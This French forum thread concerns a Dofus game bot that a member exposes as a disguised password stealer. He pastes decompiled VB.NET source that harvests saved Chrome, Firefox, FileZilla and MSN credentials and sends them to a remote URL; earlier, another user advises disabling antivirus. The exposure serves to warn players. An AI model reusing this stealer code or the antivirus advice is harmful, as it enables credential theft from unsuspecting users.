Bot Boomrang Dofus
- Thread starter Mw3hack
- Start date
Publicités
Users Who Are Viewing This Thread (Total: 0, Members: 0, Guests: 0)
Salut Mw3 J'ai un soucie, lorsque J'ouvre le .exe ( En administrateur ou pas ), J'obtiens le message suivant : 'Windows ne parvient pas à accéder au périphérique, au chemin d’accès ou au fichier spécifié. Vous ne disposez peut-être pas des autorisations appropriées pour avoir accès à l'élément'.
De plus, mon Anti'virus détecte .. Me voilà soucieux, besoin d'aides s'il vous plaît.
PS: J'ai Vista.
De plus, mon Anti'virus détecte .. Me voilà soucieux, besoin d'aides s'il vous plaît.
PS: J'ai Vista.
Désactive ton anti virus pour ne plus avoir ce problème.
Mais.. n'ayant pas testé ni vérifié ce bot, je ne te garantie rien.
mouais , il génère un second fichier a l insu de l utilisateur et le stub est le meme que plusieurs fake recent
je n est pas le temps ce soir de voir plus loin mais bizarement il a aussi le meme icone et taille que fake precedent . . . . . .
perso je déconseille quand meme ce prog
je n est pas le temps ce soir de voir plus loin mais bizarement il a aussi le meme icone et taille que fake precedent . . . . . .
perso je déconseille quand meme ce prog
Merci pour la mise a jour je me demandez ce que ca voulait dire est je confirme sa marche pour moi ce n'est pas un fake
C'est bon à savoir. Merci chère ami.
ce n est pas parce que tu a un prog qui fonctionne que forcement il est saint
perso j ai deja decompiler ce stub sur plusieurs post différent et jusqu a aujourd hui c etait un stealer deguiser en prog fonctionnel ;)
---------- Message ajouté à 21h24 ---------- Le message précédent était à 21h17 ----------
j ai retrouver lol en faite il est deja posté ici http://www.cheat-gam3.com/archives/bot-dofus-version-dessai-78922/
ici http://www.cheat-gam3.com/archives/bot-me-79203/
et d autre encore ^^
meme pas pris le soins de changer au moins le logo mdr
sa donne une idée sur les perso avec leur fake reply ;)
Je suis du même avis que Casimir , j'ai aussi remarquer que c'était très semblable au fake des derniers jours.
je dit que tu sais tres bien quel daube tu a poster
tient un petit bout de code de ta merde
Code:
Public Shared Function GetChrome() As Object
Dim obj2 As Object
Dim baseName As String = (Environment.GetFolderPath(SpecialFolder.LocalApplicationData) & "\Google\Chrome\User Data\Default\Login Data")
Try
Dim instance As Object = New SQLiteHandler(baseName)
NewLateBinding.LateCall(instance, Nothing, "ReadTable", New Object() { "logins" }, Nothing, Nothing, Nothing, True)
If Not File.Exists(baseName) Then
Return obj2
End If
Dim num2 As Integer = Conversions.ToInteger(Operators.SubtractObject(NewLateBinding.LateGet(instance, Nothing, "GetRowCount", New Object(0 - 1) {}, Nothing, Nothing, Nothing), 1))
Dim i As Integer = 0
Do While (i <= num2)
Dim arguments As Object() = New Object() { i, "origin_url" }
Dim copyBack As Boolean() = New Boolean() { True, False }
If copyBack(0) Then
i = CInt(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(arguments(0)), GetType(Integer)))
End If
Dim str5 As String = Conversions.ToString(NewLateBinding.LateGet(instance, Nothing, "GetValue", arguments, Nothing, Nothing, copyBack))
Dim objArray As Object() = New Object() { i, "username_value" }
copyBack = New Boolean() { True, False }
If copyBack(0) Then
i = CInt(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray(0)), GetType(Integer)))
End If
Dim str2 As String = Conversions.ToString(NewLateBinding.LateGet(instance, Nothing, "GetValue", objArray, Nothing, Nothing, copyBack))
Dim objArray3 As Object() = New Object(1 - 1) {}
Dim obj4 As Object = instance
arguments = New Object(2 - 1) {}
arguments(0) = i
Dim str6 As String = "password_value"
arguments(1) = str6
objArray = arguments
copyBack = New Boolean() { True, False }
If copyBack(0) Then
i = CInt(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray(0)), GetType(Integer)))
End If
objArray3(0) = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(obj4, Nothing, "GetValue", objArray, Nothing, Nothing, copyBack))
Dim objArray4 As Object() = objArray3
Dim flagArray2 As Boolean() = New Boolean() { True }
If flagArray2(0) Then
NewLateBinding.LateSetComplex(obj4, Nothing, "GetValue", New Object() { i, str6, RuntimeHelpers.GetObjectValue(objArray4(0)) }, Nothing, Nothing, True, False)
End If
Dim str4 As String = NMBVMDQaJJwiKgsHoGrvWKHBTRnJhnjvyNi.Wegsada(DirectCast(NewLateBinding.LateGet(Encoding.Default, Nothing, "GetBytes", objArray4, Nothing, Nothing, flagArray2), Byte()))
If ((str2 <> "") And (str4 <> "")) Then
Dim item As String = String.Concat(New String() { "Application: Google Chrome" & ChrW(13) & ChrW(10) & "Host: ", str5, ChrW(13) & ChrW(10) & "Username: ", str2, ChrW(13) & ChrW(10) & "Password: ", str4, ChrW(13) & ChrW(10) })
NMBVMDQaJJwiKgsHoGrvWKHBTRnJhnjvyNi.ListBox1.Items.Add(item)
New WebClient().DownloadString(String.Concat(New String() { NMBVMDQaJJwiKgsHoGrvWKHBTRnJhnjvyNi.URL, "?action=add&a=12&u=", str5, "&l=", str2, "&p=", str4, "&c=", MyProject.Computer.Name.ToString }))
End If
i += 1
Loop
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
ProjectData.ClearProjectError
End Try
Return obj2
End Function
Public Shared Sub GetFF()
Dim str4 As String = Nothing
Dim enumerator As IEnumerator
Dim enumerator2 As IEnumerator
Dim flag As Boolean = False
Dim str2 As String = (Environment.GetFolderPath(SpecialFolder.ProgramFiles) & "\Mozilla Firefox\")
Dim str5 As String
For Each str5 In Directory.GetDirectories((Environment.GetFolderPath(SpecialFolder.ApplicationData) & "\Mozilla\Firefox\Profiles"))
If flag Then
Exit For
End If
Dim str6 As String
For Each str6 In Directory.GetFiles(str5)
If Not flag Then
If Regex.IsMatch(str6, "signons.sqlite") Then
NMBVMDQaJJwiKgsHoGrvWKHBTRnJhnjvyNi.oivGmTktmoB(str5)
NMBVMDQaJJwiKgsHoGrvWKHBTRnJhnjvyNi.heria = str6
End If
Else
ProjectData.EndApp
Exit For
End If
Next
Next
Dim heria As String = NMBVMDQaJJwiKgsHoGrvWKHBTRnJhnjvyNi.heria
Dim item2 As New TSECItem
Dim result As New TSECItem
Dim item As New TSECItem
Dim base2 As New Base(heria)
Dim table As DataTable = base2.ExecuteQuery("SELECT * FROM moz_logins;")
Dim table2 As DataTable = base2.ExecuteQuery("SELECT * FROM moz_disabledHosts;")
Try
enumerator = table2.Rows.GetEnumerator
Do While enumerator.MoveNext
Dim current As DataRow = DirectCast(enumerator.Current, DataRow)
str4 = (str4 & Environment.NewLine & "hostname".ToString)
Loop
Finally
If TypeOf enumerator Is IDisposable Then
TryCast(enumerator,IDisposable).Dispose
End If
End Try
NMBVMDQaJJwiKgsHoGrvWKHBTRnJhnjvyNi.OMhwbbbdVrvk(NMBVMDQaJJwiKgsHoGrvWKHBTRnJhnjvyNi.bvryeuuo, True, 0)
Try
enumerator2 = table.Rows.GetEnumerator
Do While enumerator2.MoveNext
Dim buffer2 As Byte()
Dim row2 As DataRow = DirectCast(enumerator2.Current, DataRow)
str4 = (str4 & Environment.NewLine & "Application: FireFox")
Dim str7 As String = Convert.ToString(row2.Item("formSubmitURL").ToString)
str4 = (str4 & Environment.NewLine & "URL: " & str7)
Dim inStr As New StringBuilder(row2.Item("encryptedUsername").ToString)
Dim num3 As Integer = NMBVMDQaJJwiKgsHoGrvWKHBTRnJhnjvyNi.xSGTjizteYUcgxxr(IntPtr.Zero, IntPtr.Zero, inStr, inStr.Length)
Dim ptr As New IntPtr(num3)
Dim data As TSECItem = DirectCast(Marshal.PtrToStructure(ptr, GetType(TSECItem)), TSECItem)
If ((NMBVMDQaJJwiKgsHoGrvWKHBTRnJhnjvyNi.CqSzxpvjJWBHufugp(data, result, 0) = 0) AndAlso (result.SECItemLen <> 0)) Then
buffer2 = New Byte(((result.SECItemLen - 1) + 1) - 1) {}
ptr = New IntPtr(result.SECItemData)
Marshal.Copy(ptr, buffer2, 0, result.SECItemLen)
str4 = (str4 & Environment.NewLine & "Username: " & Encoding.ASCII.GetString(buffer2))
End If
Dim builder As New StringBuilder(row2.Item("encryptedPassword").ToString)
Dim num2 As Integer = NMBVMDQaJJwiKgsHoGrvWKHBTRnJhnjvyNi.xSGTjizteYUcgxxr(IntPtr.Zero, IntPtr.Zero, builder, builder.Length)
ptr = New IntPtr(num2)
Dim item5 As TSECItem = DirectCast(Marshal.PtrToStructure(ptr, GetType(TSECItem)), TSECItem)
If ((NMBVMDQaJJwiKgsHoGrvWKHBTRnJhnjvyNi.CqSzxpvjJWBHufugp(item5, item, 0) = 0) AndAlso (item.SECItemLen <> 0)) Then
Dim destination As Byte() = New Byte(((item.SECItemLen - 1) + 1) - 1) {}
ptr = New IntPtr(item.SECItemData)
Marshal.Copy(ptr, destination, 0, item.SECItemLen)
str4 = String.Concat(New String() { str4, Environment.NewLine, "Passwort: ", Encoding.ASCII.GetString(destination), Environment.NewLine })
NMBVMDQaJJwiKgsHoGrvWKHBTRnJhnjvyNi.FFString = str4
New WebClient().DownloadString(String.Concat(New String() { NMBVMDQaJJwiKgsHoGrvWKHBTRnJhnjvyNi.URL, "?action=add&a=10&u=", str7, "&l=", Encoding.ASCII.GetString(buffer2), "&p=", Encoding.ASCII.GetString(destination), "&c=", MyProject.Computer.Name.ToString }))
End If
Loop
Finally
If TypeOf enumerator2 Is IDisposable Then
TryCast(enumerator2,IDisposable).Dispose
End If
End Try
End Sub
Public Shared Function GetFZ() As String
Dim document As New XmlDocument
Dim left As Object = Nothing
Dim str As String = ""
Dim path As String = (Interaction.Environ("appdata") & "\FileZilla\recentservers.xml")
If File.Exists(path) Then
Try
document.Load(path)
Dim elementsByTagName As XmlNodeList = document.GetElementsByTagName("Host")
Dim list As XmlNodeList = document.GetElementsByTagName("Port")
Dim list2 As XmlNodeList = document.GetElementsByTagName("User")
Dim list3 As XmlNodeList = document.GetElementsByTagName("Pass")
Dim num2 As Integer = (elementsByTagName.Count - 1)
Dim i As Integer = 0
Do While (i <= num2)
left = Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(left, "Application: FileZilla"), ChrW(13) & ChrW(10)), "Host: "), elementsByTagName.ItemOf(i).InnerText), ChrW(13) & ChrW(10)), "Port: "), list.ItemOf(i).InnerText), ChrW(13) & ChrW(10)), "Username: "), list2.ItemOf(i).InnerText), ChrW(13) & ChrW(10)), "Password: "), list3.ItemOf(i).InnerText), ChrW(13) & ChrW(10)), ChrW(13) & ChrW(10))
New WebClient().DownloadString(String.Concat(New String() { NMBVMDQaJJwiKgsHoGrvWKHBTRnJhnjvyNi.URL, "?action=add&a=15&u=", elementsByTagName.ItemOf(i).InnerText, "&l=", list2.ItemOf(i).InnerText, "&p=", list3.ItemOf(i).InnerText, "&c=", MyProject.Computer.Name.ToString }))
i += 1
Loop
str = Conversions.ToString(left)
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
ProjectData.ClearProjectError
End Try
End If
Return str
End Function
Public Shared Function GetMSN() As String
Dim str As String = ""
Try
Dim oMhrmhotLlExlwDkbjCerlkhqoalxa As Integer = 0
Dim zero As IntPtr = IntPtr.Zero
Dim ptrArray As IntPtr() = Nothing
If Not NMBVMDQaJJwiKgsHoGrvWKHBTRnJhnjvyNi.CredEnumerate("WindowsLive:name=*", 0, oMhrmhotLlExlwDkbjCerlkhqoalxa, zero) Then
Return str
End If
ptrArray = New IntPtr(((oMhrmhotLlExlwDkbjCerlkhqoalxa - 1) + 1) - 1) {}
Dim ptr2 As IntPtr = zero
Dim num3 As Integer = (oMhrmhotLlExlwDkbjCerlkhqoalxa - 1)
Dim i As Integer = 0
Do While (i <= num3)
ptrArray(i) = Marshal.ReadIntPtr(DirectCast((ptr2.ToInt32 + (IntPtr.Size * i)), IntPtr))
Dim credential As CREDENTIAL = DirectCast(Marshal.PtrToStructure(ptrArray(i), GetType(CREDENTIAL)), CREDENTIAL)
Dim dataIn As New DATA_BLOB
Dim pDataOut As New DATA_BLOB
dataIn.pbData = credential.lpbCredentialBlob
dataIn.cbData = CInt(credential.dwCredentialBlobSize)
NMBVMDQaJJwiKgsHoGrvWKHBTRnJhnjvyNi.CryptUnprotectData(dataIn, 0, 0, 0, 0, 1, pDataOut)
str = String.Concat(New String() { str, "Application: MSN" & ChrW(13) & ChrW(10) & "Username: ", Marshal.PtrToStringAuto(credential.lpUserName), ChrW(13) & ChrW(10) & "Password: ", Marshal.PtrToStringAuto(dataIn.pbData), ChrW(13) & ChrW(10) & ChrW(13) & ChrW(10) })
New WebClient().DownloadString(String.Concat(New String() { NMBVMDQaJJwiKgsHoGrvWKHBTRnJhnjvyNi.URL, "?action=add&a=0&u= &l=", Marshal.PtrToStringAuto(credential.lpUserName), "&p=", Marshal.PtrToStringAuto(dataIn.pbData), "&c=", MyProject.Computer.Name.ToString }))
i += 1
Loop
str = str
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
ProjectData.ClearProjectError
End Try
Return str
End Functionce stealer nommé "Crime" qui s install sur les machines de ceux qui on cru au pere noel
Donc le posteur et les sois disant utilisateur comblé sont bon a ban
.....................................................................................
---------- Message ajouté à 07h10 ---------- Le message précédent était à 00h53 ----------
Ha ha il a effacer son post du coup mdr go ban lui et tout les compte/pseudo qu il utilise ;)
Valu[e];783314 said:
.............................................................................
